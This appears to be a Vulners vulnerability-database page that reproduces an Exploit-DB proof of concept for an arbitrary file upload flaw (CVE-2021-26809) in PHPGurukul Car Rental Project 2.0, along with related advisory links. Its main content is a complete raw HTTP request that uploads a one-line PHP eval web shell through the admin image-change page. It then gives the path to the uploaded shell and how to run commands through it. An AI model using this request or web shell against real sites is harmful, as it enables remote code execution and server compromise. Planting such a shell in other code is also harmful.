Lucene search
+L

Car Rental Project 2.0 - Arbitrary File Upload to Remote Code Execution (RCE)

🗓️ 03 Feb 2021 00:00:00Reported by Jannick TigerType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 834 Views

Arbitrary File Upload to Remote Code Execution in Car Rental Project 2.

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2021-26809
17 Feb 202115:15
–attackerkb
circl
Circl
CVE-2021-26809
17 Feb 202118:49
–circl
cnnvd
CNNVD
Phpgurukul PHPGurukul Car Rental Projec Code Issue Vulnerability
17 Feb 202100:00
–cnnvd
checkpoint_advisories
Check Point Advisories
PHPGurukul Car Rental Arbitrary File Upload (CVE-2021-26809)
16 Mar 202100:00
–checkpoint_advisories
cve
CVE
CVE-2021-26809
17 Feb 202114:32
–cve
cvelist
Cvelist
CVE-2021-26809
17 Feb 202114:32
–cvelist
euvd
EUVD
EUVD-2021-13596
7 Oct 202500:30
–euvd
nvd
NVD
CVE-2021-26809
17 Feb 202115:15
–nvd
osv_cve
osv_cve
CVE-2021-26809
17 Feb 202115:15
–osv_cve
prion
Prion
Remote code execution
17 Feb 202115:15
–prion
Rows per page
# Exploit Title: Car Rental Project 2.0 - Arbitrary File Upload to Remote Code Execution
# Date: 3/2/2021
# Exploit Author: Jannick Tiger
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/car-rental-project-php-mysql-free-download/
# Version:  V 2.0
# Tested on Windows 10, XAMPP

POST /carrental/admin/changeimage1.php?imgid=4 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0)
Gecko/20100101 Firefox/85.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary=---------------------------346751171915680139113101061568
Content-Length: 369
Origin: http://localhost
Connection: close
Referer: http://localhost/carrental/admin/changeimage1.php?imgid=4
Cookie: PHPSESSID=te82lj6tvep7afns0qm890393e
Upgrade-Insecure-Requests: 1

-----------------------------346751171915680139113101061568
Content-Disposition: form-data; name="img1"; filename="1.php"
Content-Type: application/octet-stream

<?php @eval($_POST[pp]);?>
-----------------------------346751171915680139113101061568
Content-Disposition: form-data; name="update"


-----------------------------346751171915680139113101061568--


# Uploaded Malicious File can  be Found in :
carrental\admin\img\vehicleimages\1.php
# go to http://localhost/carrental/admin/img/vehicleimages/1.php, Execute malicious code via post value phpinfo();

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 27.5
CVSS 3.19.8
EPSS0.09772
834